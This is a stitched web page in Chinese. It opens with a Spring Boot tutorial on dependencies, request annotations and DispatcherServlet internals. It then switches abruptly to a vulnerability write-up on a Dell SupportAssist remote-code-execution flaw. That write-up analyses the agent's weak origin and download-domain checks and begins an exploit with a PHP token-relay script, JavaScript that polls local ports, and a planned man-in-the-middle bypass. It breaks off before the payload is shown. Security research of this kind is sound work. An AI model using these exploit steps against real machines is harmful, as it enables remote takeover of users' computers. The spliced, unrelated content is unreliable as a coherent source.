Name | Version |
Java | JDK 8+ |
Maven | 3.3+ |
Gradle | 6 (6.3 or later). 5.6.x is also supported but in a deprecated form |
Name | Servlet Version |
Tomcat 9.0 | 4.0 |
Jetty 9.4 | 3.1 |
Undertow 2.0 | 4.0 |
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.4.3</version>
</parent>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
</dependencies>
. ____ _ __ _ _
/\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
\\/ ___)| |_)| | | | | || (_| | ) ) ) )
' |____| .__|_| |_|_| |_\__, | / / / /=========|_|==============|___/=/_/_/_/
:: Spring Boot :: (v2.4.3)
2021-02-24 23:08:21.251 INFO 3240 --- [ main] per.fkrobin.study.App : Starting App using Java 1.8.0_281 on DESKTOP-SKF5ODM with PID 3240 (D:\Projects\javaProjects\SpringBootStudy\HelloSpringBoot\target\classes started by 22136 in D:\Projects\javaProjects\SpringBootStudy)
2021-02-24 23:08:21.254 INFO 3240 --- [ main] per.fkrobin.study.App : No active profile set, falling back to default profiles: default
2021-02-24 23:08:21.824 INFO 3240 --- [ main] o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat initialized with port(s): 8080 (http)
瀏覽器打開 http://localhost:8080
每一個 Spring boot 應用都會有一個 parent 父工程
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.4.3</version>
</parent>
spring-boot-starter-parent的父工程
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-dependencies</artifactId>
<version>2.4.3</version>
</parent>
spring-boot-dependencies這個工程中定義幾乎所有的 常用工具包版本及其依賴,如 spring-boot-starter-web :
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.4.3</version>
</dependency>
所以我們使用 spring-boot-starter-web 不再需要書寫版本號,如果需要更換版本號,可以查看 spring-boot-dependencies 中對應依賴的版本書寫定義,然后在自己項目中 進行重新賦值
在此類初始化時,就會去 spring-boot、spring-boot-auto-configure 加載 spring-factories 文件,文件中定義了 所有的 Spring 場景下的工廠,如 各種 xxxAutoConfiguration 類、Listener、Filter 等等,并緩存下來。在接下來調用 run 運行時,會根據條件注入、Filter 等過濾掉其中不需要用到的 工廠 、bean。下面是主要代碼
try {
ApplicationArguments applicationArguments=new DefaultApplicationArguments(args);
ConfigurableEnvironment environment=prepareEnvironment(listeners, bootstrapContext, applicationArguments);
configureIgnoreBeanInfo(environment);
Banner printedBanner=printBanner(environment);
context=createApplicationContext();
context.setApplicationStartup(this.applicationStartup);
prepareContext(bootstrapContext, context, environment, listeners, applicationArguments, printedBanner);
// 實例化 bean 到容器之中的過程都是在此完成的
refreshContext(context);
afterRefresh(context, applicationArguments);
stopWatch.stop();
if (this.logStartupInfo) {
new StartupInfoLogger(this.mainApplicationClass).logStarted(getApplicationLog(), stopWatch);
}
listeners.started(context);
callRunners(context, applicationArguments);
}
catch (Throwable ex) {
handleRunFailure(context, ex, listeners);
throw new IllegalStateException(ex);
}
其中 實例化 bean 到容器中華的一些列操作都是 springframework.beans 包中的相關類完成的,需要了解其原理才能看懂代碼
查看此注解可以發現,在去掉一些定義即文檔配置后,此注解實際就是 @SpringBootConfiguration , @EnableAutoConfiguration , @ComponentScan 結合:
@SpringBootConfiguration
@EnableAutoConfiguration
@ComponentScan(excludeFilters={ @Filter(type=FilterType.CUSTOM, classes=TypeExcludeFilter.class),
@Filter(type=FilterType.CUSTOM, classes=AutoConfigurationExcludeFilter.class) })
public @interface SpringBootApplication{}
@Configuration
public @interface SpringBootConfiguration {
boolean proxyBeanMethods() default true;
}
和 Spring 中一樣,用于包掃描
所有自動配置的核心,實際上都和此注解有關
@AutoConfigurationPackage
@Import(AutoConfigurationImportSelector.class)
public @interface EnableAutoConfiguration {}
public @interface Import {
Class<?>[] value();
}
在容器中創建 value 數組指定的所有 類的實例,默認名字為 全限定類型(包路徑+類名)
將properties文件中的內容翻譯為一個 Java Bean 的過程被稱為 配置綁定
目前官方文檔已經取消了介紹自定義網頁圖標的部分,但功能依然存在
Spring boot 支持 RestFul 的設計風格,支持 GET、POST、DELETE、PUT、PATCH 等請求方式。由于表單只支持 GET、POST 方式,因此 Spring boot 使用了一個 HiddenHttpMethodFilter 的過濾器來實現請求方法的過濾、更改,流程:
因此,如果我們想自定義相關的操作,可以自己添加一個 HiddenHttpMethodFilter 的 bean,并修改相關屬性,如 methdoParam
相關注解:@PathVariable、@RequestHeader、@ModelAttribute、@RequestParam、@MatrixVariable、@CookieValue、@RequestBody
List<String>
Map<String, String>
public @interface RequestParam {
@AliasFor("name")
String value() default "";
@AliasFor("value")
String name() default "";
// 參數是否是必須的。如果為是,參數缺失時將會導致異常;否則將傳入 null
boolean required() default true;
String defaultValue() default ValueConstants.DEFAULT_NONE;
}
@RequestMapping("/rp1")
public String testRequestParam(@RequestParam String name, @RequestParam Integer id, @RequestParam("hobby")List<String> hobbies) {
return name + " " + id + "hobbies: " + hobbies;
}
Map<String, String>
public @interface PathVariable {
@AliasFor("name")
String value() default "";
@AliasFor("value")
String name() default "";
boolean required() default true;
}
例子:
@RequestMapping("/param/{id}")
public String testPathVariable(@PathVariable Integer id) {
return "testPathVariable: " + id;
}
@RequestMapping("/param/{id}/owner/{username}")
public String testPathVariable2(@PathVariable Integer id, @PathVariable String username) {
return String.format("testPathVariable2: id: %d, username: %s", id, username);
}
@RequestMapping("/param/{id}/owner/{username}/{age}")
public String testPathVariable3(@PathVariable Map<String, String> map) {
return String.format("testPathVariable2: %s", map.toString());
}
public @interface RequestHeader {
@AliasFor("name")
String value() default "";
@AliasFor("value")
String name() default "";
boolean required() default true;
String defaultValue() default ValueConstants.DEFAULT_NONE;
}
@RequestMapping("/param/rh1")
public String testRequestHeader(@RequestHeader("user-Agent") String userAgent) {
return String.format("testRequestHeader: user-Agent: %s", userAgent);
}
@RequestMapping("/param/rh2")
public String testRequestHeaders(@RequestHeader Map<String, String> headers) {
return String.format("testRequestHeader: %s", headers.toString());
}
public @interface CookieValue {
@AliasFor("name")
String value() default "";
@AliasFor("value")
String name() default "";
boolean required() default true;
String defaultValue() default ValueConstants.DEFAULT_NONE;
}
例子:
@RequestMapping("/cookie")
public String testCookie(@CookieValue("Idea-80024e6a") String idea) {
return idea;
}
@RequestMapping("/cookie2")
public String testCookie2(@CookieValue("Idea-80024e6a") Cookie cookie) {
return cookie.getName() + " " + cookie.getValue();
}
例子
@RequestMapping("/rb1")
public String testRequestBody(@RequestBody String body) {
return body;
}
public @interface RequestAttribute {
@AliasFor("name")
String value() default "";
@AliasFor("value")
String name() default "";
boolean required() default true;
}
例子:
@GetMapping("/attribute1")
public void testRequestAttribute0(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
request.setAttribute("name", "ZhangSan");
request.getRequestDispatcher("/ra1").forward(request, response);
}
@RequestMapping("/ra1")
public String testRequestAttribute1(@RequestAttribute String name) {
return name;
}
public @interface MatrixVariable {
@AliasFor("name")
String value() default "";
@AliasFor("value")
String name() default "";
String pathVar() default ValueConstants.DEFAULT_NONE;
boolean required() default true;
String defaultValue() default ValueConstants.DEFAULT_NONE;
}
例子:
@ResponseBody
@RequestMapping("/mv/{sell}")
public String testMatrixVar(@MatrixVariable("low") Integer low,
@MatrixVariable("brand") List<String> brads) {
return brads.toString() + " " + low;
}
存在多個相同名字的 key 時,可以使用 pathVar 指定是哪一個路徑變量下的變量
@ResponseBody
@RequestMapping("/mv2/{boss}/{emp}")
public String testMatrixVar2(@MatrixVariable(name="age", pathVar="boss") Integer age1,
@MatrixVariable(name="age", pathVar="emp") Integer age2) {
return age1.toString() + " " + age2;
}
RestFul是一種程序編程風格和開發方式,基于 HTTP
REST 指的是一組架構約束條件和原則。滿足這些約束條件和原則的應用程序或設計就是 RESTful。
Web 應用程序最重要的 REST 原則是,客戶端和服務器之間的交互在請求之間是無狀態的。從客戶端到服務器的每個請求都必須包含理解請求所必需的信息。如果服務器在請求之間的任何時間點重啟,客戶端不會得到通知。此外,無狀態請求可以由任何可用服務器回答,這十分適合云計算之類的環境。客戶端可以緩存數據以改進性能。
在服務器端,應用程序狀態和功能可以分為各種資源。資源是一個有趣的概念實體,它向客戶端公開。資源的例子有:應用程序對象、數據庫記錄、算法等等。每個資源都使用 URI (Universal Resource Identifier) 得到一個唯一的地址。所有資源都共享統一的接口,以便在客戶端和服務器之間傳輸狀態。使用的是標準的 HTTP 方法,比如 GET、PUT、POST 和 DELETE。Hypermedia 是應用程序狀態的引擎,資源表示通過超鏈接互聯。
eg: 同樣訪問 /user 的 URL,不同的請求方式對應不同的操作:
使用例子:
@RequestMapping("/request0")
public String testRequest(Map<String, Object> map, Model model, HttpServletRequest request) {
map.put("map", "v1");
model.addAttribute("model", "v2");
request.setAttribute("request", "v3");
return "forward:/param/request1";
}
@ResponseBody
@RequestMapping("/request1")
public Map<String, Object> testRequest1(HttpServletRequest request) {
Map<String, Object> map=new HashMap<>();
map.put("map", request.getAttribute("map"));
map.put("model", request.getAttribute("model"));
map.put("request", request.getAttribute("request"));
return map;
}
// 獲取 handler
mappedHandler=getHandler(processedRequest);
// 獲取 handlerAdapter
HandlerAdapter ha=getHandlerAdapter(mappedHandler.getHandler());
//攔截器preHandle方法
preHandle(processRequest, response);
//調用處理器
handle(processedRequest, response, mappedHandler.getHandler());
//攔截器 postHandle 方法
postHandle(processedRequest, response, mv);
//處理分發結果,包括 ModelAndView 或 Exception
processDispatchResul(processedRequest, response, mappedHandler, mv, dispatchException);
// 渲染給定的 ModelAndView,這是請求處理的最后一步
render(mv, request, response);
// 視圖解析,循環調用所有配置的視圖解析器解析視圖 InternalResourceView
view=resolveViewName(viewName, mv.getModelInternal(), locale, request);
// 視圖渲染,
view.render();
// 合并靜態屬性、Model、pathVars
createMergedOutputModel(model, request, response);
// 實際實現渲染的方法
renderMergedOutputModel(mergedModel, getRequestToExpose(request), response);
// 將合并后的 Model 中的所有屬性全部轉移到 Request 中
exposeModelAsRequestAttributes(model, request);
// 分發請求
RequestDispatcher rd=getRequestDispatcher(request, dispatcherPath);
//rd.include(request, response);
rd.forward(request, response);
// 攔截器 afterCompletion 方法
mappedHandler.triggerAfterCompletion(request, response, null);
//循環調用所有預設的 HandlerMapping 的 getHandler 方法,并返回第一個不為 null 的值
HandlerExecutionChain handler=mapping.getHandler(request);
getHandler(HttpServletRequest request);
getHandlerInternal(request);
// 尋找能夠處理請求的方法,可能存在多個,如果多個方法映射到同一路徑,Spring boot 會直接拋出異常
lookupHandlerMethod(lookupPath, request);
return bestMatch.getHandlerMethod();
// 將 String 類型的 bean 實例化為一個實際對象
return handlerMethod.createWithResolvedBean();
// 執行鏈,包含 handler method 和所有的攔截器
HandlerExecutionChain executionChain=getHandlerExecutionChain(handler, request);
return executionChain;
return handler;
// 獲取 handler 對應的適配器
getHandlerAdapter(Object handler);
adapter.supports(handler);
return (handler instanceof HandlerMethod && supportsInternal((HandlerMethod) handler));
RequestMappingHandlerAdapter 的 handle 方法的實現:
handle(HttpServletRequest request, HttpServletResponse response, Object handler);
return handleInternal(request, response, (HandlerMethod) handler);
ModelAndView mav=invokeHandlerMethod(request, response, handlerMethod);
ServletInvocableHandlerMethod invocableMethod=createInvocableHandlerMethod(handlerMethod);
invocableMethod.setHandlerMethodArgumentResolvers(this.argumentResolvers);
invocableMethod.setHandlerMethodReturnValueHandlers(this.returnValueHandlers);
invocableMethod.invokeAndHandle(webRequest, mavContainer);
Object returnValue=invokeForRequest(webRequest, mavContainer, providedArgs);
returnValueHandlers.handleReturnValue(returnValue, getReturnValueType(returnValue), mavContainer, webRequest);
return getModelAndView(mavContainer, modelFactory, webRequest);
return mav;
invokeForRequest(webRequest, mavContainer, providedArgs);
// 獲取所有方法參數值
Object[] args=getMethodArgumentValues(request, mavContainer, providedArgs);
MethodParameter[] parameters=getMethodParameters();
// 用于獲取參數名稱
parameter.initParameterNameDiscovery(this.parameterNameDiscoverer);
args[i]=this.resolvers.resolveArgument(parameter, mavContainer, request, this.dataBinderFactory);
HandlerMethodArgumentResolver resolver=getArgumentResolver(parameter);
// 迭代 List<HandlerMethodArgumentResolver>
resolver.supportsParameter(parameter);
return resolver;
return resolver.resolveArgument(parameter, mavContainer, webRequest, binderFactory);
return doInvoke(args);
例子 RequestHeaderMapMethodArgumentResolver :
public boolean supportsParameter(MethodParameter parameter) {
// 只要保證有 @RequestHeader 注解,并且參數類型為 Map 及其子類
return (parameter.hasParameterAnnotation(RequestHeader.class) &&
Map.class.isAssignableFrom(parameter.getParameterType()));
}
resolveArgument(parameter, mavContainer, webRequest, binderFactory);
//MultiValueMap<String, String> result;
// 因此參數 Map 必須是 String,String 類型
Map<String, String> result=new LinkedHashMap<>();
public boolean supportsParameter(MethodParameter parameter) {
return (parameter.hasParameterAnnotation(ModelAttribute.class) ||
(this.annotationNotRequired && !BeanUtils.isSimpleProperty(parameter.getParameterType())));
}
public static boolean isSimpleProperty(Class<?> type) {
Assert.notNull(type, "'type' must not be null");
return isSimpleValueType(type) || (type.isArray() && isSimpleValueType(type.getComponentType()));
}
public static boolean isSimpleValueType(Class<?> type) {
return (Void.class !=type && void.class !=type &&
(ClassUtils.isPrimitiveOrWrapper(type) ||
Enum.class.isAssignableFrom(type) ||
CharSequence.class.isAssignableFrom(type) ||
Number.class.isAssignableFrom(type) ||
Date.class.isAssignableFrom(type) ||
Temporal.class.isAssignableFrom(type) ||
URI.class==type ||
URL.class==type ||
Locale.class==type ||
Class.class==type));
}
// ModelAttributeMethodProcessor
resolveArgument(parameter, mavContainer, webRequest, binderFactory);
// 創建一個空的 domain 對象
attribute=createAttribute(name, parameter, binderFactory, webRequest);
WebDataBinder binder=binderFactory.createBinder(webRequest, attribute, name);
bindRequestParameters(binder, webRequest);
ServletRequestDataBinder servletBinder=(ServletRequestDataBinder) binder;
// 底層在對無法綁定的屬性、錯誤屬性等剔除后,將數據類型轉換后綁定到 attribute 上
servletBinder.bind(servletRequest);
// 將請求中的所有參數全部轉換為 PropertyValue,并加入 List 保存
MutablePropertyValues mpvs=new MutablePropertyValues(request.getParameterMap());
doBind(mpvs);
// DataBinder 移除缺失的必填字段,并拋出錯誤
doBind(mpvs);
applyPropertyValues(mpvs);
getPropertyAccessor().setPropertyValues(mpvs, isIgnoreUnknownFields(),
isIgnoreInvalidFields());
// 迭代 mpvs 中的所有 PropertyValue
//setPropertyValue(pv); 調用重載方法
setPropertyValue(pv.getName(), pv.getValue());
nestedPa.setPropertyValue(tokens, new PropertyValue(propertyName, value));
processLocalProperty(tokens, pv);
valueToApply=convertForProperty(tokens.canonicalName, oldValue, originalValue, ph.toTypeDescriptor());
ph.setValue(valueToApply);
convertForProperty(tokens.canonicalName, oldValue, originalValue, ph.toTypeDescriptor());
return convertIfNecessary(propertyName, oldValue, newValue, td.getType(), td);
return this.typeConverterDelegate.convertIfNecessary(propertyName, oldValue, newValue, requiredType, td);
return (T) conversionService.convert(newValue, sourceTypeDesc, typeDescrip
原文鏈接:http://www.cnblogs.com/fkrobin-breast/p/14462276.html
如果覺得本文對你有幫助,可以轉發關注支持一下
你用的電腦是什么品牌的?你有沒有對你電腦系統中預裝或自帶軟件的安全性產生過懷疑?當我們談論遠程代碼執行漏洞(RCE)時,可能大多數人會認為它和操作系統漏洞相關,但是有沒有人考慮到預裝到電腦系統中的第三方軟件這一攻擊可能呢?本文講述的就是紐約17歲安全研究者最近發現的,戴爾預裝在其電腦上的軟件工具Dell SupportAssist 的一個遠程代碼執行漏洞(RCE),利用該漏洞,可對同一網絡環境中安裝有Dell SupportAssist 的目標系統實施RCE攻擊。Dell SupportAssist 用于“主動檢查系統硬件和軟件運行狀況”,并且“預裝自帶在大多數全新的戴爾電腦系統中”。
以下為作者的詳細分析,比較繁瑣,涉及請求分析、完整性檢查分析、漏洞利用思路構造、ARP和DNS欺騙。具體利用請參考文末最后的漏洞利用及PoC部份。
漏洞發現
去年9月,因為我用了將近7年的Macbook Pro已經快要罷工了,所以,我打算重新購買一臺性價比高的筆記本電腦,最終我選擇了戴爾的G3 15。筆記本電腦入手之后,我把其中的1TB普通硬盤換成了固態硬盤,在安裝完Windows系統后,我想從戴爾官網上更新驅動,這時我發現了一件有意思的事,當我訪問戴爾的技術支持網站時,會跳出一個如下圖的選項:
其中有兩種提示,一是告訴用戶需要輸入戴爾電腦設備的服務標簽、產品序列號和型號等等信息,另外一種是直接選擇“Detect PC”(探測電腦)自動識別。
Detect PC?自動識別?哦,這有點意思,它如何來識別我的電腦?出于好奇,我就點擊了“Detect PC”按鈕,看看會發生什么。
點擊之后,跳出來了一個SupportAssist程序的安裝選項。盡管這是一個便利工具,但我還是有點點不放心,由于我當前系統是新裝系統,代理商系統已經被我革除。但為了進一步對該應用進行分析,我還是決定裝裝試試。該程序聲稱安裝完成之后,可以完全更新我的驅動并使電腦系統保持更新。
SupportAssist程序安裝很簡單,勾選上述選框,點擊下載安裝就行。安裝完成之后,SupportAssist會在后臺創建并啟動名為SupportAssistAgent和Dell Hardware Support的服務項。初略看來,這兩個服務進程看似為.NET程序,很容易被逆向分析。安裝完后,我就重新訪問戴爾技術支持網站,看看它能探測到什么東東?果然,這次出現的是以下驅動探測選項( “Detect Drivers”) :
為了更好的分析,我開啟了Chrome瀏覽器的網絡分析工具Web Inspector,打開了其中的Network按鈕進行監視,接著,我就點擊了上述選項頁面中的 “Detect Drivers” 按鈕,看看會有什么情況:
經分析發現,戴爾技術支持網站此時會向我本機請求一個由SupportAssistAgent服務開啟的8884端口,另外,我本機經由一個REST API和向戴爾技術支持網站發起各種通信請求,而且,在戴爾網站的響應中也設置了只有https://www.dell.com網站標記的Access-Control-Allow-Origin訪問控制策略。
在我的瀏覽器端,SupportAssist客戶端程序通過請求https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken,生成一個簽名對各種命令進行驗證。驅動探測完成后,點擊網頁中的驅動下載按鈕,其請求消息有點奇怪。其請求消息頭如下:
POST http://127.0.0.1:8884/downloadservice/downloadmanualinstall?expires=expiretime&signature=signature Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/json Origin: https://www.dell.com Referer: https://www.dell.com/support/home/us/en/19/product-support/servicetag/xxxxx/drivers?showresult=true&files=1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
請求消息內容如下:
{ { "title":"Dell G3 3579 and 3779 System BIOS", "category":"BIOS", "name":"G3_3579_1.9.0.exe", "location":"https://downloads.dell.com/FOLDER05519523M/1/G3_3579_1.9.0.exe?uid=29b17007-bead-4ab2-859e-29b6f1327ea1&fn=G3_3579_1.9.0.exe", "isSecure":false, "fileUniqueId":"acd94f47-7614-44de-baca-9ab6af08cf66", "run":false, "restricted":false, "fileId":"198393521", "fileSize":"13 MB", "checkedStatus":false, "fileStatus":-99, "driverId":"4WW45", "path":"", "dupInstallReturnCode":"", "cssClass":"inactive-step", "isReboot":true, "DiableInstallNow":true, "$$hashKey":"object:175" } }
通過請求來看,戴爾Web客戶端貌似可以直接請求我本機系統中的SupportAssistAgent服務,顯示驅動程序的下載和手動安裝選項(“download and manually install”),由于,我打算從SupportAssistAgent服務中入手進行分析,看看戴爾技術支持網站發出的一些具體命令。
剛開始,Dell SupportAssist程序會通過8884、8883、8885或8886端口生成一個web服務進程(System.Net.HttpListener),其中的端口選擇視開放而定,一般為8884端口。在某個請求中,位于HttpListenerServiceFacade線程中的ListenerCallback會調用方法ClientServiceHandler.ProcessRequest。
ClientServiceHandler.ProcessRequest是web服務進程中的主要方法函數,主要用于執行一些完整性檢查,如確保其接收到的請求來自我的電腦本機,諸如此類等等。在本文后續我們會繼續討論完整性檢查的相關問題,但是,這里我們還是把重點放到尋找RCE漏洞之上。
ClientServiceHandler.ProcessRequest其中的一個完整性檢查就是,戴爾技術支持網站會查看由我電腦系統中Dell SupportAssist與其Web客戶端的請求中,涉及的Referer標簽是否為Dell官方所屬網站,以此來確定該請求是由其Web客戶端發起的,如下:
// Token: 0x060000A8 RID: 168 RVA: 0x00004EA0 File Offset: 0x000030A0 public static bool ValidateDomain(Uri request, Uri urlReferrer) { return SecurityHelper.ValidateDomain(urlReferrer.Host.ToLower()) && (request.Host.ToLower().StartsWith("127.0.0.1") || request.Host.ToLower().StartsWith("localhost")) &&request.Scheme.ToLower().StartsWith("http") && urlReferrer.Scheme.ToLower().StartsWith("http"); } // Token: 0x060000A9 RID: 169 RVA: 0x00004F24 File Offset: 0x00003124 public static bool ValidateDomain(string domain) { return domain.EndsWith(".dell.com") || domain.EndsWith(".dell.ca") || domain.EndsWith(".dell.com.mx") || domain.EndsWith(".dell.com.br") || domain.EndsWith(".dell.com.pr") || domain.EndsWith(".dell.com.ar") || domain.EndsWith(".supportassist.com"); }
從以上請求調用來看,其安全檢查并不完善,能讓攻擊者找到很多攻擊面,就拿繞過Referer/Origin來說,我們有以下幾種可選方法:
1.從任何戴爾所屬網站中找到XSS漏洞(當然,我需在支持SupportAssist的網站中來發現這種XSS漏洞);
2.發現子域名劫持漏洞;
3.從本機程序中構造惡意請求;
4.生成一個隨機子域名[random].dell.com,并利用DNS劫持受害者請求,以此用我們控制的服務器來對對其進行響應。
最終,我選擇了第4種方法(稍后我會做出解釋)。經驗證請求的Referer/Origin信息之后,我發現ClientServiceHandler.ProcessRequest會對相應的GET、POST和OPTIONS功能做出響應。
為了對Dell SupportAssist進行了深入研究,我決定通過它與戴爾技術支持網站之間的不同類型請求進行了抓包分析,剛好我的電腦系統還存在一些待定更新,所以我就選擇了瀏覽器工具對請求進行攔截。
首先,戴爾技術支持網站會循環遍歷上述提到的四個端口來探測本機系統中安裝的SupportAssist,之后如果端口開放,則會連接“isalive”服務方法,比較有意思的是,其中的簽名“Signature”和“Expires” 參數傳遞過程有點意思,為此,我逆向了瀏覽器端涉及的JS腳本,發現了以下問題:
1.首先,瀏覽器會向網站https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken發起請求,以獲取一個token,也就是簽名Signature。當然,戴爾還會分配一個“Expires token”,以限制簽名的過期時間;
2.接著,瀏覽器會向每一個服務端口發出類似以下的請求:
http://127.0.0.1:[SERVICEPORT]/clientservice/isalive/?expires=[EXPIRES]&signature=[SIGNATURE]
之后,當相應端口開放并接收到請求后,本機的Dell SupportAssist客戶端會做出以下響應:
{ "isAlive": true, "clientVersion": "[CLIENT VERSION]", "requiredVersion": null, "success": true, "data": null, "localTime": [EPOCH TIME], "Exception": { "Code": null, "Message": null, "Type": null } }
4.當瀏覽器接收到上述響應消息之后,它就與給定的開放端口建立聯系,進行后續的連接通信。
通過對不同類型的請求進行測試后,我發現值得注意的因素是可以通過“getsysteminfo”方法來獲取到電腦本機中的各項硬件信息,甚至也可以通過XSS漏洞方式來讀取這些信息。這算是一個安全問題,因為這樣我可以對電腦系統做出全方位的畫像和敏感信息收集。
另外,我還通過JS腳本逆向分析發現了以下一些特別的方法請求:
clientservice_getdevicedrivers - Grabs available updates. diagnosticsservice_executetip - Takes a tip guid and provides it to the PC Doctor service (Dell Hardware Support). downloadservice_downloadfiles - Downloads a JSON array of files. clientservice_isalive - Used as a heartbeat and returns basic information about the agent. clientservice_getservicetag - Grabs the service tag. localclient_img - Connects to SignalR (Dell Hardware Support). diagnosticsservice_getsysteminfowithappcrashinfo - Grabs system information with crash dump information. clientservice_getclientsysteminfo - Grabs information about devices on system and system health information optionally. diagnosticsservice_startdiagnosisflow - Used to diagnose issues on system. downloadservice_downloadmanualinstall - Downloads a list of files but does not execute them. diagnosticsservice_getalertsandnotifications - Gets any alerts and notifications that are pending. diagnosticsservice_launchtool - Launches a diagnostic tool. diagnosticsservice_executesoftwarefixes - Runs remediation UI and executes a certain action. downloadservice_createiso - Download an ISO. clientservice_checkadminrights - Check if the Agent privileged. diagnosticsservice_performinstallation - Update SupportAssist. diagnosticsservice_rebootsystem - Reboot system. clientservice_getdevices - Grab system devices. downloadservice_dlmcommand - Check on the status of or cancel an ongoing download. diagnosticsservice_getsysteminfo - Call GetSystemInfo on PC Doctor (Dell Hardware Support). downloadservice_installmanual - Install a file previously downloaded using downloadservice_downloadmanualinstall. downloadservice_createbootableiso - Download bootable iso. diagnosticsservice_isalive - Heartbeat check. downloadservice_downloadandautoinstall - Downloads a list of files and executes them. clientservice_getscanresults - Gets driver scan results. downloadservice_restartsystem - Restarts the system.
引起我注意的是downloadservice_downloadandautoinstall方法,它會從特定URL下載文件并執行,當用戶需要安裝某個驅動程序時,它就能派上用場,進行自動的下載和安裝。
1.在確定某些驅動程序需要更新后,戴爾技術支持網站的瀏覽器端會發起一個以下的POST請求:
http://127.0.0.1:[SERVICE PORT]/downloadservice/downloadandautoinstall?expires=[EXPIRES]&signature=[SIGNATURE]
2.其請求消息體為以下的JSON格式:
{ { "title":"DOWNLOAD TITLE", "category":"CATEGORY", "name":"FILENAME", "location":"FILE URL", "isSecure":false, "fileUniqueId":"RANDOMUUID", "run":true, "installOrder":2, "restricted":false, "fileStatus":-99, "driverId":"DRIVER ID", "dupInstallReturnCode":0, "cssClass":"inactive-step", "isReboot":false, "scanPNPId":"PNP ID", "$$hashKey":"object:210" } }
3.在執行完前述的完整性校驗之后,ClientServiceHandler.ProcessRequest方法會發送相關的參數和ServiceMethod,這些參數和方法是我們傳遞給ClientServiceHandler.HandlePost中的;
4.在ClientServiceHandler.HandlePost中,它會把所有參數排列成一個數組,然后調用ServiceMethodHelper.CallServiceMethod;
5.之后,ServiceMethodHelper.CallServiceMethod會實現一個調度功能,去調用ServiceMethod中給定的方法函數。在這里的驅動下載中,它是 “downloadandautoinstall” 方法:
if (service_Method=="downloadservice_downloadandautoinstall") { string files5=(arguments !=null && arguments.Length !=0 && arguments[0] !=null) ? arguments[0].ToString() : string.Empty; result=DownloadServiceLogic.DownloadAndAutoInstall(files5, false); }
以上方法會調用 DownloadServiceLogic.DownloadAutoInstall,并提供請求體中JSON Payload的相應文件下載;
6.接著,DownloadServiceLogic.DownloadAutoInstall會作為DownloadServiceLogic._HandleJson方法的一個封裝函數,執行異常處理等功能;
7.DownloadServiceLogic._HandleJson會對包含文件下載的請求體JSON Payload進行反序列化,然后執行以下完整性校驗檢查:
foreach (File file in list) { bool flag2=file.Location.ToLower().StartsWith("http://"); if (flag2) { file.Location=file.Location.Replace("http://", "https://"); } bool flag3=file !=null && !string.IsNullOrEmpty(file.Location) && !SecurityHelper.CheckDomain(file.Location); if (flag3) { DSDLogger.Instance.Error(DownloadServiceLogic.Logger, "InvalidFileException being thrown in _HandleJson method"); throw new InvalidFileException(); } } DownloadHandler.Instance.RegisterDownloadRequest(CreateIso, Bootable, Install, ManualInstall, list);
以上完整性校驗檢查會對其中涉及的每個文件進行循環檢查,例如會檢查下載文件的URL,如果是http://就會用https://代替,也會檢查其中的URL是否與戴爾下載列表匹配。如下:
public static bool CheckDomain(string fileLocation) { List<string> list=new List<string> { "ftp.dell.com", "downloads.dell.com", "ausgesd4f1.aus.amer.dell.com" }; return list.Contains(new Uri(fileLocation.ToLower()).Host); }
最終,如果以上類似完整性檢查都能通過,就會通過DownloadHandler.RegisterDownloadRequest和Dell SupportAssist建立下載關系,以本機管理員身份下載并執行相應驅動文件。基于以上信息,我們可以來嘗試編寫一個漏洞利用代碼。
漏洞利用及PoC
首先我們需要構造的是執行對SupportAssist客戶端的請求,假設我們在一個戴爾的子域名網站環境中,在本節中我們將來討論如何做到這一點。在此我決定模仿瀏覽器并用javascript發起請求。
一開始,需要找到服務端口,這里可以輪詢上述的四個預定義端口,并向“/clientservice/isalive”執行請求。另外還需要提供一個簽名,為此,可以執行一個針對“https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken”的請求。
這樣看起來可能還是不行,因為簽名響應中涉及的訪問控制策略“Access-Control-Allow-Origin” 里明確提到要是“https://www.dell.com”相關網站,但是我們身處的子域名環境可能并不是https方式的,那怎么辦呢?我們可以從我們自己控制的服務端中來執行請求!
從 “getdsdtoken” URL中返回的簽名適配所有設備系統,它是通用簽名,為此我寫了一段PHP腳本來抓取它:
<?php header('Access-Control-Allow-Origin: *'); echo file_get_contents('https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken'); ?>
上述腳本的訪問控制策略中允許任意域來對它執行請求,之后,它返回了原始的請求戴爾網站的簽名,相當于一個獲取簽名的代理,隨后 “getdsdtoken”URL會返回附帶簽名和過期時間的JSON信息,接著,我們可以使用JSON.parse針對抓取信息進行解析,把其中的簽名放置到一個javascript對象中。
現在,我們有了簽名和其過期時間,就可以執行請求構造了,以下就是執行端口輪詢的腳本,如果相應的端口處于開放狀態,就把它填入server_port變量中去。如下:
function FindServer() { ports.forEach(function(port) { var is_alive_url="http://127.0.0.1:" + port + "/clientservice/isalive/?expires=" + signatures.Expires + "&signature=" + signatures.IsaliveToken; var response=SendAsyncRequest(is_alive_url, function(){server_port=port;}); }); }
在發現服務端之后,我們可以發送我們的Payload,但這是最難的部份,在“downloadandautoinstall” 執行我們的Payload之前,還有多個需要解決的問題。
從最難的問題說起,Dell SupportAssist客戶端中有一個內置的白名單,具體而言,其必須是“ftp.dell.com”、“downloads.dell.com”或 “ausgesd4f1.aus.amer.dell.com”這種類型的,從這個點來說幾乎無計可施,而且在dell相關網站也發現不了任何開放重定向漏洞。但是,我突然想到,可以用中間人攻擊(MITM)來看看。
